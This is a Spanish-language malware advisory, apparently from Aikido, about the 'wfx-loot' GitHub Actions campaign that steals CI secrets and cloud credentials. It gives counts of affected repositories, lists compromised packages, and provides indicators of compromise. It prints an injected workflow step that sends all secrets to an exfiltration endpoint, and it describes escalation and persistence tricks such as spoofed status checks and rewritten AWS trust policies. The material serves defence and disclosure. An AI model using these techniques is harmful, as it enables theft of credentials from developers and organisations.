A partir del 10 de noviembre, un actor malicioso utilizó credenciales robadas de GitHub para introducir una carga maliciosa en forma de flujo de trabajo en decenas de miles de repositorios. La carga roba secretos de GitHub Actions y credenciales de la nube. La carga se ha propagado al menos a un paquete de Packagist y a uno de Golang a través de desencadenantes de publicación automatizados, pero el actor malicioso parece estar centrándose en los secretos de CI en lugar de intentar propagarse a través de la cadena de suministro.
Según los datos que hemos recopilado hasta ahora:
- 4.837 cuentas comprometidas abrieron solicitudes de incorporación de cambios en 61.764 repositorios.
- Al menos 1.835 repositorios ejecutaron la carga útil y se les han sustraído las credenciales.
- Al menos 50 usuarios afectados parecen publicar paquetes para ecosistemas como npm, Go, Packagist, PyPI o crates.
Estamos realizando un seguimiento de esta campaña bajo el nombre de «wfx-loot», basándonos en el nombre que el autor de la amenaza ha dado al malware y en el término utilizado para referirse a los secretos sustraídos.
Quiénes están afectados
Podrías verte afectado si alguno de estos elementos apareció en un repositorio en el que tienes permiso de escritura a partir del 10 de noviembre:
- A
wfx-docsrama, o una solicitud de incorporación de cambios tituladadocumentación: notas sobre la auditoría de dependencias - Commits con el título
ci: actualizar la caché de compilación,tarea: añadir el ayudante «ci»otarea: añadir el flujo de trabajo de auditoría de dependencias - Ramas de corta duración denominadas
tarea/seguido de ocho caracteres aleatorios
La búsqueda en GitHub arroja 61 839 resultados documentación: notas sobre la auditoría de dependencias solicitudes de incorporación de cambios abiertas entre el 10 de noviembre a las 12:45 UTC y el 11 de noviembre a las 15:00 UTC. Esa solicitud de incorporación de cambios es solo una prueba, a la que le siguen confirmaciones que contienen la carga útil real. Si la prueba se ha ejecutado, ese usuario se ha visto comprometido, aunque no se haya ejecutado la etapa del flujo de trabajo.
- 10 431 de las solicitudes de incorporación de cambios se enviaron a repositorios de los que la cuenta no es propietaria, a los que se accedió mediante el acceso de colaborador o de organización.
- El 92 % de ellos siguen abiertos, lo que sugiere que la mayoría de los propietarios no se han dado cuenta.
Hemos detectado indicios de que la carga útil se ejecutó en al menos 1.806 repositorios, aunque es posible que esta cifra subestime el alcance del impacto. El registro de ejecución fue eliminado en los repositorios afectados, lo que significa que es probable que el autor de la amenaza haya recopilado las credenciales y haya borrado sus huellas. En la mayoría de los casos restantes no se envió nada tras la prueba de penetración, o bien el flujo de trabajo infectado no se ejecutó debido a la configuración o a los permisos del usuario comprometido.
Si la carga útil se ha ejecutado en tu repositorio, da por hecho que todos los secretos y roles en la nube a los que tienen acceso sus flujos de trabajo se han visto comprometidos.
También hemos observado que esta campaña se introduce en paquetes publicados a través de mecanismos de publicación automatizados. Entre los paquetes maliciosos que hemos identificado hasta la fecha se incluyen:
- Packagist
digitalelvis/neuronai-studioVersión 3.14.3. Considera comprometida cualquier máquina en la que se haya instalado o abierto cualquiera de estas versiones. - Módulo Go
github.com/onuragtas/docker-envv1.0.278 y v1.0.280: estas etiquetas contienen la carga útil únicamente en un archivo de flujo de trabajo de GitHub Actions. El código fuente en Go y los binarios de la versión no han sufrido cambios, y las compilaciones en Go nunca ejecutan archivos de flujo de trabajo, por lo que es posible que los usuarios del módulo no se hayan visto afectados; no obstante, recomendamos eliminar estos paquetes de todos modos.
Qué ocurrió
A partir de las 12:45 UTC aproximadamente, o del 10 de noviembre, el autor de la amenaza comenzó a utilizar tokens de GitHub sustraídos para propagar el malware. Por cada repositorio en el que un token de GitHub sustraído puede realizar operaciones de escritura, el autor de la amenaza:
- Sondas - El autor de la amenaza abre un
documentación: notas sobre la auditoría de dependenciassolicitud de incorporación procedente de unwfx-docsrama, lo que confirma el acceso de escritura. - Envía la carga útil - El autor de la amenaza utiliza una de estas tres variantes:
- Incorporación al flujo de trabajo:
ci: actualizar la caché de compilaciónañade unas 1.500 líneas a un flujo de trabajo ya existente. - Instalar el gancho:
tarea: añadir el ayudante «ci»añade una.ci-xxxxxx.shguión y unpostinstallhook enpackage.jsonque lo ejecute en cualquiernpm install - Rama temporal: c
hore: añadir un flujo de trabajo de auditoría de dependenciasañade.github/workflows/build-audit-xxxxxx.ymlen untarea/xxxxxxxxsucursal.
- Incorporación al flujo de trabajo:
- Borrado de rastros: el autor de la amenaza revierte los cambios en un minuto como máximo y elimina la ejecución del flujo de trabajo, junto con sus registros. A menudo, el único rastro que queda es la ausencia de un número de ejecución en el historial del flujo de trabajo.
Los pasos del flujo de trabajo insertados tienen este aspecto:
- name: Pass runtime
uses: actions/github-script@v7
...
- name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_CTOKEN: "b42d70a7aab9140ca19e8249"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"Qué roba
La carga útil consiste en un único script de shell de unas 1.500 líneas. En las tres variantes de distribución se utiliza el mismo script. Funciona en cuatro fases: recopilación, escalada, persistencia y exfiltración. Los parámetros de configuración que aparecen al principio del script permiten activar y desactivar funciones concretas. En esta sección se describe todo lo que el script es capaz de hacer, aunque en esta campaña se desactivaron algunas de las funciones de exfiltración.
El script contiene numerosos comentarios, no está ofuscado y se identifica a sí mismo como «wfx» en los registros y en los nombres de las variables.
Recopilar. La carga útil recopila las credenciales de todas las fuentes disponibles en el ejecutor:
- Secretos y variables de GitHub Actions: el flujo de trabajo
GITHUB_TOKEN, así como los tokens de tiempo de ejecución OIDC y Actions. - El entorno de ejecución completo, además de una copia filtrada de las variables que coinciden con
ficha,secreto,pass,crédito,aws,azul celeste,gcp,openai,antrópico,rayay otras muchas palabras clave. - Archivos de credenciales de plataformas conocidas como AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault y Terraform.
- Credenciales para proveedores de IA y herramientas de desarrollo de IA, entre los que se incluyen OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases y Ollama.
- Historiales de shell para bash, zsh, MySQL, psql, Python y Node.js.
- Cada .
env,.pem, .p12,.jks,.kdbxykubeconfigclasificar en$HOME, buscados de forma recursiva. - El entorno y la memoria de los procesos en ejecución en el «runner», estableciendo prioridades
Runner.WorkeryRunner.Listener. Extrae JWT, PAT de GitHub, claves de AWS y tokens de proveedores de IA. - Solo en servidores autohospedados:
- Credenciales de metadatos de instancias de AWS, GCP y Azure
- Estado del contenedor de Docker
- los parámetros de « RSA » del corredor
- unidades de systemd
- Una instantánea del repositorio, los archivos que contiene y que coinciden con un catálogo de patrones secretos, las últimas 100 confirmaciones y los artefactos recientes del flujo de trabajo
Ampliar el alcance. La carga útil utiliza las credenciales recopiladas para obtener un acceso más profundo a la nube:
- Intercambiador OIDC: genera tokens OIDC de GitHub para usuarios de AWS, GCP y Azure, y los canjea por sesiones en la nube.
- AWS -Se vincula a otros roles de IAM que encuentra en el repositorio y, a continuación, llama a
iam:Crear clave de accesopara crear credenciales de larga duración para los usuarios de IAM. - GCP - Firma los JWT con las claves de las cuentas de servicio utilizando una implementación de Python de RSA sin dependencias y los canjea por tokens de acceso. A continuación, muestra una lista de proyectos y cuentas de servicio, y llama a
generateAccessTokenysignJwtpara suplantar la identidad de cuentas de servicio. - Azure: intercambia tokens OIDC o secretos de cliente por tokens de gestión y muestra una lista de suscripciones y Key Vaults. Además, utiliza tokens de actualización de FOCI, aplicando los tokens de actualización de Azure CLI almacenados en caché a los ID de cliente propios de Microsoft para obtener tokens de Graph, ARM y Key Vault.
- Vault y Kubernetes: comprueba la validez de los tokens OIDC con HashiCorp Vault y con los servidores de la API de Kubernetes que figuran en los archivos kubeconfig.
Persistir. La carga útil lleva a cabo tres acciones diseñadas para sobrevivir a la rotación de credenciales:
- Derivación de protección de ramal - Al principio de la ejecución, antes de que se haya recopilado la mayor parte de los datos, la carga útil publica datos falsificados
éxitoLas comprobaciones de estado se realizan comparando el SHA de la confirmación con los nombres de contexto de las comprobaciones obligatorias del repositorio. La protección de ramas se basa en el nombre de contexto, no en la aplicación que lo ha publicado, por lo que las comprobaciones falsificadas superan los controles de fusión mientras la carga útil sigue ejecutándose. - Reescritura de la política de confianza de AWS - Establece la política de confianza del rol encadenado en
"Principal": {"AWS": "*"}, lo que permite que cualquier cuenta de AWS pueda desempeñar ese rol. - Inyección de identidades federadas de Azure - Con un token de Microsoft Graph, añade nuevas credenciales de identidad federada, denominadas
wfx-ci-…, a las aplicaciones de Azure AD , que remiten al repositorio comprometido. Cualquier flujo de trabajo de ese repositorio puede entonces autenticarse en Azure sin necesidad de un secreto almacenado, incluso después de que se hayan renovado todos los tokens.
Exfiltración. La carga útil comprime todo en un archivo tar comprimido con gzip. El script admite varios canales de distribución, tres de los cuales utilizan la propia infraestructura de GitHub para eludir las restricciones de salida de la red:
- API de caché de acciones: almacena el archivo tar como una entrada de caché, que se puede recuperar posteriormente con una clave coincidente.
- Resumen de los pasos - En el caso de los archivos de menos de 700 KB, codifica el archivo tar en base64 y lo incluye en el resumen del paso del flujo de trabajo entre
<!--WFX-BEGIN-->marcadores. - Subida de artefactos - Sube el archivo tar como un artefacto del flujo de trabajo denominado
wfx-loot-<run id>.
Los demás canales son:
- una solicitud HTTP POST directa al servidor de devolución de llamada, con reintentos y un tiempo de espera cada vez mayor
- una URL de devolución de llamada secundaria
- una copia cifrada con AES incorporada al repositorio
- Salida codificada en base32 escrita en el registro de ejecución del flujo de trabajo
- filtración de datos a través de un bot de Telegram
En esta campaña, la carga útil se configuró para enviar datos únicamente mediante HTTP POST a 194.150.166[.]244:8080/exfil o 18.143.168[.]96:8080/exfil:
- Los canales de caché, resumen de pasos y artefactos solo se ejecutan cuando está activado el indicador de repositorio privado, y la configuración implementada lo desactiva.
- La opción de reserva «encrypted-commit» y el canal «run-log» están desactivados
- No se ha configurado ninguna función de devolución de llamada secundaria
Si estás revisando un repositorio afectado, la ausencia de wfx-loot artefactos, wfx- entradas de caché o WFX-BEGIN El hecho de que no haya resúmenes de pasos no significa que no se hayan recopilado datos. La ejecución en sí suele eliminarse según nuestros datos. La ausencia de un número de ejecución en la confirmación del atacante es el indicio más fiable de que la carga útil se ejecutó. La existencia de configuraciones específicas para repositorios privados sugiere que la carga útil podría estar implementándose tanto en repositorios privados como en los públicos que podemos identificar.
Solapamiento con la actividad «GhostAction» de octubre
Las cuentas afectadas en esta oleada coinciden con las de la oleada de GhostActions de octubre, lo que concuerda con los indicadores conocidos de GhostActions:
- Flujos de trabajo de escaneo secreto (
security-audit.yml,audit.yml,ci-check.ymly similares) que envían las claves encontradas en el repositorio y en su historial de Git a193.32.204[.]199. - Un programa para robar máquinas de desarrolladores:
public/fonts/fa-solid-400.woff2, que es JavaScript, no una fuente tipográfica, además de una tarea oculta de VS Code que lo ejecuta al abrir la carpeta. Tarda~/.git-credentials, claves SSH, npm, PyPI, credenciales de AWS y Claude, e instala una tarea cron etiquetada como#ghc2esas encuestas193.32.204[.]199:8080para los comandos.
Las cuentas afectadas por GhostAction en octubre tenían una probabilidad significativamente mayor que la media de verse afectadas por wfx-loot. En más de 100 repositorios, se inyectó wfx-loot en los archivos de flujo de trabajo de GhostAction. A pesar del solapamiento entre las cuentas, consideramos que se trata de campañas distintas, probablemente llevadas a cabo por diferentes actores maliciosos. La infraestructura, las herramientas y las técnicas de operación difieren, y las credenciales robadas suelen acabar en manos de varios actores maliciosos. También hemos observado comentarios en indonesio en algunas versiones más recientes del malware, resultado de una edición apresurada para añadir la exfiltración a Telegram. Nunca hemos observado rastros de indonesio en la actividad de GhostAction.
Cómo Aikido detecta esto
Si utilizas Aikido, comprueba tu fuente central y aplica un filtro para detectar problemas de malware. Los paquetes comprometidos relacionados con esta campaña aparecerán como un problema crítico de 100/100. Aikido realiza un nuevo análisis cada noche, pero te recomendamos que lances un nuevo análisis manual ahora mismo.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Indicadores de compromiso
Versiones de los paquetes afectados
- Packagist
digitalelvis/neuronai-studio3.14.3 - Go
github.com/onuragtas/docker-envv1.0.278 y v1.0.280. La carga útil se encuentra únicamente en un archivo de flujo de trabajo.
Indicadores de red
194.150.166[.]244:8080(/exfil)-
18.143.168[.]96:8080(/exfil)
Indicadores de GitHub
- Sucursales:
wfx-docs,tarea/[a-z0-9]{8},ci-check-[0-9]{4} - Título de la solicitud de incorporación de cambios:
documentación: notas sobre la auditoría de dependencias - Mensajes de confirmación:
ci: actualizar la caché de compilaciónci: restaurartarea: añadir el ayudante «ci»ci: limpiezatarea: añadir el flujo de trabajo de auditoría de dependencias
Archivos
- Script de «Stealer»:
89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
